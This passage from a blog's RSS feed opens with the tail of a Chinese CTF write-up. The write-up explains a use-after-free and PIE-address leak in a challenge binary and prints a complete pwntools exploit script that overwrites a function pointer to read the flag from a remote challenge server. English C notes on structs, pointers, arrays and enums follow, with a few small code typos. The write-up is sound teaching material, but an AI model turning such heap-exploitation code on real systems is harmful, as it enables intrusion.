&lt;p&gt;如上，for 循环中先 malloc 了 &lt;code&gt;0x10&lt;/code&gt; 的大小，将得到的地址给到 &lt;code&gt;agent&lt;/code&gt;。当一轮循环结束后就会去执行 &lt;code&gt;executeAction&lt;/code&gt;，这个函数将传入的 &lt;code&gt;agent&lt;/code&gt; 转换为 &lt;code&gt;__int64 (**a1)(void)&lt;/code&gt;，即一个指向返回 &lt;code&gt;__int64&lt;/code&gt; 的无参数函数指针的指针。调用这个函数，会将 &lt;code&gt;(*a1)()&lt;/code&gt; 作为返回，即解引用这个二级指针，得到函数指针，并将其作为函数执行。&lt;/p&gt;
&lt;p&gt;我们注意到函数列表中有这样一个后门函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 getSecret()
{
  FILE *stream; // [rsp+8h] [rbp-D8h]
  char s[200]; // [rsp+10h] [rbp-D0h] BYREF
  unsigned __int64 v3; // [rsp+D8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen(&quot;flag.txt&quot;, &quot;r&quot;);
  if ( stream )
  {
    fgets(s, 200, stream);
    fprintf(stdout, &quot;%s\n&quot;, s);
    fclose(stream);
  }
  else
  {
    perror(&quot;couldn&apos;t open flag.txt&quot;);
  }
  return v3 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么思路就很清楚了，想办法让 &lt;code&gt;agent&lt;/code&gt; 的值等于 &lt;code&gt;getSecret&lt;/code&gt; 的地址即可。&lt;/p&gt;
&lt;p&gt;继续看菜单选项函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int processInput()
{
  __int64 UserInput; // rax
  _QWORD *v1; // rbx

  __isoc99_scanf(&quot; %c&quot;, option);
  option[0] = toupper(option[0]);
  switch ( option[0] )
  {
    case &apos;A&apos;:
      LODWORD(UserInput) = (_DWORD)agent;
      *agent = beginoperation;
      break;
    case &apos;C&apos;:
      *agent = createAccount;
      puts(&quot;===========================&quot;);
      puts(&quot;Registration Form : &quot;);
      puts(&quot;Enter your username: &quot;);
      v1 = agent;
      UserInput = getUserInput();
      v1[1] = UserInput;
      break;
    case &apos;E&apos;:
      LODWORD(UserInput) = (_DWORD)agent;
      *agent = exitProgram;
      break;
    case &apos;F&apos;:
      LODWORD(UserInput) = Hackupdate();
      break;
    case &apos;H&apos;:
      if ( agent )
      {
        LODWORD(UserInput) = (_DWORD)agent;
        *agent = printID;
      }
      else
      {
        LODWORD(UserInput) = puts(&quot;Not logged in!&quot;);
      }
      break;
    case &apos;K&apos;:
      LODWORD(UserInput) = (_DWORD)agent;
      *agent = Checkstatus;
      break;
    default:
      puts(&quot;Invalid option!&quot;);
      exit(1);
  }
  return UserInput;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个对应选项都会将 &lt;code&gt;agent&lt;/code&gt; 的值设置为对应选项要执行的函数的地址。&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;E&lt;/code&gt; 选项会将 &lt;code&gt;agent&lt;/code&gt; 设置为 &lt;code&gt;exitProgram&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 exitProgram()
{
  char v1; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(&quot;Sure you want to leave the clan (Y/N)? &quot;);
  __isoc99_scanf(&quot; %c&quot;, &amp;amp;v1);
  if ( toupper(v1) == 89 )
  {
    puts(&quot;Congrats on quitting the revolution&quot;);
    free(agent);
  }
  else
  {
    puts(&quot;Ok.&quot;);
  }
  return v2 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们看到它将 &lt;code&gt;agent&lt;/code&gt; 释放了，这样我们下次分配同样大小空间的时候就会复用原先 &lt;code&gt;agent&lt;/code&gt; 的地址，如果我们复用地址后还能对其进行写入，那就可以将其改成 &lt;code&gt;getSecret&lt;/code&gt; 的地址了。&lt;/p&gt;
&lt;p&gt;那么我们现在需要的就是找到这样一个 malloc，它将获取 &lt;code&gt;0x10&lt;/code&gt; 的空间，我们发现 &lt;code&gt;F&lt;/code&gt; 中的 &lt;code&gt;Hackupdate&lt;/code&gt; 函数是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t Hackupdate()
{
  void *buf; // [rsp+8h] [rbp-8h]

  puts(&quot;How did your previous hack go? &quot;);
  buf = malloc(8uLL);
  return read(0, buf, 8uLL);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;malloc 了 &lt;code&gt;0x8&lt;/code&gt; 字节，加上 metadata 再对齐一下，和 &lt;code&gt;malloc(0x10);&lt;/code&gt; 分配的大小应该是一样的，这样一来就成功复用了 &lt;code&gt;agent&lt;/code&gt; 的地址，并且，紧接着它会调用 &lt;code&gt;read&lt;/code&gt; 向这个地址写入数据。&lt;/p&gt;
&lt;p&gt;现在我们只差临门一脚了。由于这个程序开启了 PIE 保护，所以我们得想办法泄漏程序基地址才能计算出 &lt;code&gt;getSecret&lt;/code&gt; 的物理地址。&lt;/p&gt;
&lt;p&gt;我们发现使用 &lt;code&gt;H&lt;/code&gt; 选项会输出一个地址，而这个地址看上去很像程序内部的指令地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Command and Control Centere.
==========================
(H) Generate ID for the agent
(A) Begin a new cyber operation
(C) Create a new Agent
(K) Check status of current cyber operation
(F) Provide updates about your current hack.)
(E) Exit
&amp;gt; H
User ID: 0x5609404d243c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看其对应的反编译代码，调用了 &lt;code&gt;generateUserID&lt;/code&gt;，然后通过 &lt;code&gt;printf&lt;/code&gt; 输出返回值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int printID()
{
  return printf(&quot;User ID: %p\n&quot;, generateUserID);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;char *generateUserID()
{
  int v0; // eax
  unsigned int i; // [rsp+4h] [rbp-Ch]
  FILE *stream; // [rsp+8h] [rbp-8h]

  if ( !initialized_1 )
  {
    memset(userid_0, 48, sizeof(userid_0));
    stream = fopen(&quot;/dev/urandom&quot;, &quot;rb&quot;);
    if ( stream )
    {
      for ( i = 0; i &amp;lt;= 0x1F; i += 2 )
      {
        v0 = fgetc(stream);
        sprintf(&amp;amp;userid_0[i], &quot;%02hhx&quot;, v0);
      }
      fclose(stream);
    }
    initialized_1 = 1;
  }
  return userid_0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;generateUserID&lt;/code&gt; 会从 &lt;code&gt;/dev/urandom&lt;/code&gt; 读取 &lt;code&gt;0x10&lt;/code&gt; 字节数据到 &lt;code&gt;userid_0&lt;/code&gt; 数组中，并将 &lt;code&gt;userid_0&lt;/code&gt; 的地址作为 64-bit 指针返回。&lt;/p&gt;
&lt;p&gt;值得注意的是，我们不关心从 &lt;code&gt;/dev/urandom&lt;/code&gt; 里面读到的垃圾数据，&lt;code&gt;generateUserID&lt;/code&gt; 返回的是 &lt;code&gt;userid_0&lt;/code&gt; 在程序中的地址，而非从 &lt;code&gt;/dev/urandom&lt;/code&gt; 里读到的值。并且 &lt;code&gt;printf&lt;/code&gt; 使用的是 &lt;code&gt;%p&lt;/code&gt; 格式化字符，而非 &lt;code&gt;%s&lt;/code&gt;，所以最终打印的是 &lt;code&gt;userid_0&lt;/code&gt; 在程序中的地址。虽然它属于 &lt;code&gt;.bss&lt;/code&gt; 段，但是开启 PIE 会随机化整个程序的加载地址，故通过这个地址减去它和 PIE 基址之间的偏移，就得到了实际 PIE 基地址。&lt;/p&gt;
&lt;p&gt;下面就可以愉快地编写 exploit 了。&lt;/p&gt;
&lt;p&gt;呼呼呼，总算写完了……从早上一起来就开始分析这道题，逆向 rust 程序部分大概花了我三小时（其中有一个多小时都是在浪费时间……），逆完拿到 C2 后，一看尼玛怎么是 heap exploitation，不会啊！只觉一阵无力感瞬间袭上心头，flag 近在眼前，我明明已经解决了整个 challenge 中最困难的逆向部分，却倒在了这个看上去不怎么难的堆利用上……洗洗睡了，睡了三小时，半个下午都在无梦中度过……起来发了几句牢骚，又继续研究这个 C2。凭借着脑海中那一点点可怜的 heap exploitation 知识，试图把它突突。结果没想到起来后研究了四十分钟解决了……不算难，甚至可以说很简单……一开始以为漏洞点在 &lt;code&gt;getUserInput&lt;/code&gt; 中，浪费了一半多的时间……&lt;/p&gt;
&lt;p&gt;最后，这应该是我分析过的最复杂的一个程序，虽然感觉完全就是在做 forensics，pwn 的部分占比有点太小了. 当然，Yan85 VM 分析起来也不比它容易多少，不过这个 challenge 毕竟是 rust 写的，也是我第一次逆向 rust 程序。果然，rust 不用 &lt;code&gt;unsafe&lt;/code&gt; 还是很难写出有漏洞的代码的，除非是逻辑漏洞。所以总的来说做完感觉并不是那么牛逼，反而觉得简直不要太简单，但期间还是走了不少弯路，浪费了太多时间，也是难免的……&lt;/p&gt;
&lt;p&gt;老实说，在逆向分析的时候，我就是一路猜猜猜，凭借着直觉拿到的 C2，而不是实际的逆向分析能力。但是，实力决定下限，直觉决定上限，实力也是直觉的基础。我觉得有这样敏锐的直觉对于比赛中快速解题还是有很大帮助的，不过有时候直觉容易与事实混淆，可能导致自己掉到坑里困上好几个小时也说不准。总之，应该同时培养逆向分析的硬实力和像直觉这样的软实力，知道什么时候应该深入分析代码，什么时候应该跟着直觉走。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = &quot;./tictactoe&quot;
HOST, PORT = &quot;94.237.48.12&quot;, 35762

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def decrypt(encrypted):
    return bytes(byte ^ 0x5A for byte in encrypted)


def main():
    target = launch()

    target.sendlineafter(b&quot;: &quot;, b&quot;0 0&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;0 4&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;1 1&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;1 3&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;2 2&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;3 1&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;3 3&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;4 0&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;4 4&quot;)
    target.sendlineafter(b&quot;: &quot;, b&quot;cub3y0nd&quot;)

    plaintext = decrypt(b&quot;\x1ei&amp;lt;k4i.6#;mk9mn9mji=;7i&quot;)
    target.sendlineafter(b&quot;: &quot;, plaintext)

    raw_input(&quot;DEBUG&quot;)
    elf = ELF(&quot;/tmp/C2_executable&quot;)

    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;H&quot;)
    target.recvuntil(b&quot;ID: &quot;)

    piebase = int(target.recvline(), 16) - 0x143C

    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;E&quot;)
    target.sendlineafter(b&quot;? &quot;, b&quot;Y&quot;)
    target.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;F&quot;)

    payload = flat(piebase + elf.sym[&quot;getSecret&quot;], 0)
    target.sendlineafter(b&quot;?&quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>The C Notebook</title><link>https://cubeyond.net/posts/programming-language/c/</link><guid isPermaLink="true">https://cubeyond.net/posts/programming-language/c/</guid><description>The C Programming Language learning notes.</description><pubDate>Thu, 17 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;炸炸炸，不想说话！&lt;/p&gt;
&lt;h1&gt;Pragma Once and Header Guards&lt;/h1&gt;
&lt;h2&gt;Pragma Once&lt;/h2&gt;
&lt;p&gt;If the same header file gets included more than once, you can end up with some nasty errors caused by redefining things like functions or structs.&lt;/p&gt;
&lt;p&gt;One simple solution is &lt;code&gt;#pragma once&lt;/code&gt;. Adding this line to the top of a header file tells the compiler to include the file only once, even if it&apos;s referenced multiple times across your program.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#pragma once

struct Point {
  int x;
  int y;
  int z;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Header Guards&lt;/h2&gt;
&lt;p&gt;Another common way to avoid multiple inclusions is with include guards, which use preprocessor directives like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifndef MY_HEADER_H
#define MY_HEADER_H

// some cool code

#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Structs&lt;/h1&gt;
&lt;h2&gt;Define&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct Coordinate {
  int x;
  int y;
  int z;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Initializers&lt;/h2&gt;
&lt;p&gt;Say we have a struct defined like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct City {
  char *name;
  int lon;
  int lat;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are a few different ways to initialize a struct.&lt;/p&gt;
&lt;h3&gt;Zero Initializer&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct City c = {0};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Positonal Initializer&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct City c = {&quot;San Francisco&quot;, -122, 37};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Designated Initializer&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct City c = {
  .name = &quot;San Francisco&quot;,
  .lon = -122,
  .lat = 37
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Accessing Fields&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct City c;

c.lat = 41;

printf(&quot;Latitude: %d\n&quot;, c.lat);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Typedef&lt;/h1&gt;
&lt;p&gt;If you give a name to the struct while using &lt;code&gt;typedef&lt;/code&gt;, you&apos;d have 2 ways refer to this type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct Coordinate {
  int x;
  int y;
  int z;
} cood_t;

struct Coordinate way_1;
coord_t way_2;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can optionally skip giving the struct a name:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
  int x;
  int y;
  int z;
} coord_t;

coord_t coord;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this case, you&apos;d only be able to refer the type as &lt;code&gt;coord_t&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Sizeof Struct&lt;/h1&gt;
&lt;p&gt;Structs are stored contiguously in memory one field after another. Take this struct:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
  int x;
  int y;
  int z;
} coord_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assuming &lt;code&gt;int&lt;/code&gt; is 4 bytes, the total size of &lt;code&gt;coord_t&lt;/code&gt; would be 12 bytes.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
  char first_initial;
  int age;
  double height;
} human_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assuming &lt;code&gt;char&lt;/code&gt; is 1 byte, &lt;code&gt;int&lt;/code&gt; is 4 bytes, and &lt;code&gt;double&lt;/code&gt; is 8 bytes, the total size of &lt;code&gt;human_t&lt;/code&gt; would be 16 bytes.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each member of a struct must be aligned to its own alignment requirement&lt;/li&gt;
&lt;li&gt;The overall size of a struct must be a multiple of the largest alignment requirement among its members&lt;/li&gt;
&lt;li&gt;$padding=( alignment-( address\ %\ alignment)) \ %\ alignment$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::tip
As a rule of thumb, ordering your fields from largest to smallest will help the compiler minimize padding.
:::&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
  char a;
  double b;
  char c;
  char d;
  long e;
  char f;
} poorly_aligned_t;

typedef struct {
  double b;
  long e;
  char a;
  char c;
  char d;
  char f;
} better_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;poorly_aligned_t&lt;/code&gt; will insert 20 paddings, total size would be 40 bytes. But &lt;code&gt;better_t&lt;/code&gt; only add 4 paddings, its size would be 24 bytes only.&lt;/p&gt;
&lt;h1&gt;Pointers&lt;/h1&gt;
&lt;p&gt;A pointer is declared with an asterisk (&lt;code&gt;*&lt;/code&gt;) after the type. For example, &lt;code&gt;int *&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To get the address of a variable so that we can store it in a pointer variable, we can use the address-of operator (&lt;code&gt;&amp;amp;&lt;/code&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int age = 28;
int *p_int = &amp;amp;age;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oftentimes we have a pointer, but we want to get access to the data that it points to. Not the address itself, but the value stored at that address.&lt;/p&gt;
&lt;p&gt;We can use an asterisk (&lt;code&gt;*&lt;/code&gt;) to do it. The &lt;code&gt;*&lt;/code&gt; operator dereferences a pointer.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int meaning_of_life = 42;
int *pointer_to_mol = &amp;amp;meaning_of_life;
int value_at_pointer = *pointer_to_mol;
// value_at_pointer = 42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It can be a touch confusing, but remember that the asterisk symbol is used for two different things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Declaring a pointer type: &lt;code&gt;int *pointer_to_thing;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Dereferencing a pointer value: &lt;code&gt;int value = *pointer_to_thing;&lt;/code&gt; (retrieving the value) or &lt;code&gt;*pointer_to_thing = 20;&lt;/code&gt; (modifying the value)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Important things related to structs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In C, structs are passed-by-value. Updating a field in the struct does not change the original struct&lt;/li&gt;
&lt;li&gt;To get the change to &quot;persist&quot;, we can return the updated struct from the function (a new copy) or just pass struct&apos;s pointer, and dereference the pointer to modify the original struct&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you know, when you have a struct, you can access the fields with the dot (&lt;code&gt;.&lt;/code&gt;) operator:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;coord_t point = {10, 20, 30};

printf(&quot;X: %d\n&quot;, point.x);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, when you&apos;re working with a pointer to a struct, you need to use the arrow (&lt;code&gt;-&amp;gt;&lt;/code&gt;) operator:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;coord_t point = {10, 20, 30};
coord_t *ptrToPoint = &amp;amp;point;

printf(&quot;X: %d\n&quot;, ptrToPoint-&amp;gt;x);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It effectively dereferences the pointer and accesses the field in one step. To be fair, you can also use the dereference and dot operator (&lt;code&gt;*&lt;/code&gt; and &lt;code&gt;.&lt;/code&gt;) to achieve the same result (it&apos;s just more verbose and less common):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;coord_t point = {10, 20, 30};
coord_t *ptrToPoint = &amp;amp;point;

printf(&quot;X: %d\n&quot;, (*ptrToPoint).x);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Order of Operations&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;.&lt;/code&gt; operator has a higher precedence than the &lt;code&gt;*&lt;/code&gt; operator, so parentheses are necessary when using &lt;code&gt;*&lt;/code&gt; to dereference a pointer before accessing a member... which is another reason why the arrow operator is so much more common.&lt;/p&gt;
&lt;h2&gt;Void Pointers&lt;/h2&gt;
&lt;p&gt;A &lt;code&gt;void *&lt;/code&gt; &quot;void pointer&quot; tells the compiler that this pointer could point to anything. This is why void pointers are also known as a &quot;generic pointer&quot;.&lt;/p&gt;
&lt;p&gt;Since void pointers do not have a specific data type, they cannot be directly dereferenced or used in pointer arithmetic without casting them to another pointer type first.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int number = 42;
void *generic_ptr = &amp;amp;number;

// This doesn&apos;t work
printf(&quot;Value of number: %d\n&quot;, *generic_ptr);

// This works: Cast to appropriate type before dereferencing
printf(&quot;Value of number: %d\n&quot;, *(int *)generic_ptr);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A common pattern is to store generic data in one variable, and the type of that data in another variable. This is useful when you need to pass data around without knowing its type at compile time.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef enum DATA_TYPE {
  INT,
  FLOAT
} data_type_t;

void printValue(void *ptr, data_type_t type) {
  if (type == INT) {
    printf(&quot;Value: %d\n&quot;, *(int *)ptr);
  } else if (type == FLOAT) {
    printf(&quot;Value: %f\n&quot;, *(float *)ptr);
  }
}

int number = 42;
printValue(&amp;amp;number, INT);

float decimal = 3.14;
printValue(&amp;amp;decimal, FLOAT);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Arrays&lt;/h1&gt;
&lt;h2&gt;Declaration&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int numbers[5] = {1, 2, 3, 4, 5};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Array as Pointer&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int *way_1 = numbers;
int *way_2 = &amp;amp;numbers[0];
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Accessing Elements via Indexing&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Access the third element (index 2)
int way_1 = numbers[2];
int way_2 = *(numbers + 2);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Array Casting&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

typedef struct {
  int x;
  int y;
  int z;
} coord_t;

int main() {
  coord_t arr[3] = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};

  for (int i = 0; i &amp;lt; 3; i++) {
    for (int j = 0; j &amp;lt; 3; j++) {
      printf(&quot;%d\n&quot;, *(int *)&amp;amp;arr[i] + j);
    }
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because arrays are basically just pointers, and we know that structs are contiguous in memory, we can cast the array of structs to an array of integers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

typedef struct {
  int x;
  int y;
  int z;
} coord_t;

int main() {
  coord_t arr[3] = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};
  int *ptr = (int *)arr;

  for (int i = 0; i &amp;lt; 9; i++) {
    printf(&quot;%d\n&quot;, ptr[i]);
    // printf(&quot;%d\n&quot;, *(int *)&amp;amp;arr + i);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Array Decay to Pointers&lt;/h2&gt;
&lt;p&gt;So we know that arrays are like pointers, but they&apos;re not exactly the same. Arrays allocate memory for all their elements, whereas pointers just hold the address of a memory location. In many contexts, arrays decay to pointers, meaning the array name becomes &quot;just&quot; a pointer to the first element of the array.&lt;/p&gt;
&lt;h3&gt;When Arrays Decay&lt;/h3&gt;
&lt;p&gt;Arrays decay when used in expressions containing pointers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int arr[5];
int *ptr = arr;          // &apos;arr&apos; decays to &apos;int *&apos;
int value = *(arr + 2);  // &apos;arr&apos; decays to &apos;int *&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And also when they&apos;re passed to functions... so they actually decay quite often in practice. That&apos;s why you can&apos;t pass an array to a function by value like you do with a struct; instead, the array name decays to a pointer.&lt;/p&gt;
&lt;h3&gt;When Arrays Don&apos;t Decay&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sizeof&lt;/code&gt; &lt;strong&gt;Operator&lt;/strong&gt;: Returns the size of the entire array (e.g., &lt;code&gt;sizeof(arr)&lt;/code&gt;), not just the size of a pointer&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; &lt;strong&gt;Operator&lt;/strong&gt;: Taking the address of an array with &lt;code&gt;&amp;amp;arr&lt;/code&gt; gives you a pointer to the whole array, not just the first element. The type of &lt;code&gt;&amp;amp;arr&lt;/code&gt; is a pointer to the array type, e.g., &lt;code&gt;int (*)[5]&lt;/code&gt; for an int array with 5 elements&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Initialization&lt;/code&gt;: When an array is declared and initialized, it is fully allocated in memory and does not decay to a pointer&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Enumerations&lt;/h1&gt;
&lt;p&gt;You can define a new enum type like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef enum DaysOfWeek {
  MONDAY,
  TUESDAY,
  WEDNESDAY,
  THURSDAY,
  FRIDAY,
  SATURDAY,
  SUNDAY,
} days_of_week_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;typedef&lt;/code&gt; and its alias &lt;code&gt;days_of_week_t&lt;/code&gt; are optional, but like with structs, they make the enum easier to use.&lt;/p&gt;
&lt;p&gt;In the example above, &lt;code&gt;days_of_week_t&lt;/code&gt; is a new type that can only have one of the values defined in the &lt;code&gt;enum&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MONDAY&lt;/code&gt;, which is 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TUESDAY&lt;/code&gt;, which is 1&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WEDNESDAY&lt;/code&gt;, which is 2&lt;/li&gt;
&lt;li&gt;&lt;code&gt;THURSDAY&lt;/code&gt;, which is 3&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FRIDAY&lt;/code&gt;, which is 4&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SATURDAY&lt;/code&gt;, which is 5&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUNDAY&lt;/code&gt;, which is 6&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An enum is not a collection type like a struct or an array. It&apos;s just a list of integers constrained to a new type, where each is given an explicit name.&lt;/p&gt;
&lt;p&gt;You can use the enum type like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct Event {
  char *title;
  days_of_week_t day;
} event_t;

typedef struct Event {
  char *title;
  enum DaysOfWeek day;
} event_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Non-Default Values&lt;/h2&gt;
&lt;p&gt;Sometimes, you want to set those enumerations to specific values. For example, you might want to define a program&apos;s exit status codes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef enum {
  EXIT_SUCCESS = 0,
  EXIT_FAILURE = 1,
  EXIT_COMMAND_NOT_FOUND = 127,
} ExitStatus;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, you can define the first value and let the compiler fill in the rest (incrementing by 1):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef enum {
  LANE_WPM = 200,
  PRIME_WPM, // 201
  CUBEY_WPM,  // 202
} WordsPerMinute;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Switch Case&lt;/h2&gt;
&lt;p&gt;One of the best features of &lt;code&gt;enums&lt;/code&gt; is that it can be used in switch statements.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Avoid &quot;magic numbers&quot;&lt;/li&gt;
&lt;li&gt;Use descriptive names&lt;/li&gt;
&lt;li&gt;With modern tooling, will give you an error/warning that you haven&apos;t handled all the cases in your switch&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;switch (logLevel) {
case LOG_DEBUG:
  printf(&quot;Debug logging enabled\n&quot;);
  break;
case LOG_INFO:
  printf(&quot;Info logging enabled\n&quot;);
  break;
case LOG_WARN:
  printf(&quot;Warning logging enabled\n&quot;);
  break;
case LOG_ERROR:
  printf(&quot;Error logging enabled\n&quot;);
  break;
default:
  printf(&quot;Unknown log level: %d\n&quot;, logLevel);
  break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;ll notice that we have a &lt;code&gt;break&lt;/code&gt; after each case. If you do not have a &lt;code&gt;break&lt;/code&gt; (or &lt;code&gt;return&lt;/code&gt;), the next case will still execute: it &quot;falls through&quot; to the next case.&lt;/p&gt;
&lt;p&gt;In some rare cases, you might want the fallthrough:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;switch (errorCode) {
case 1:
case 2:
case 3:
  printf(&quot;Minor error occurred. Please try again.\n&quot;);
  break;
case 4:
case 5:
  printf(&quot;Major error occurred. Restart required.\n&quot;);
  break;
default:
  printf(&quot;Unknown error.\n&quot;);
  break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sizeof Enum&lt;/h2&gt;
&lt;p&gt;Generally, enums in C are the same size as an &lt;code&gt;int&lt;/code&gt;. However, if an enum value exceeds the range of an &lt;code&gt;int&lt;/code&gt;, the C compiler will use a larger integer type to accommodate the value, such as an &lt;code&gt;unsigned int&lt;/code&gt; or a &lt;code&gt;long&lt;/code&gt;.&lt;/p&gt;
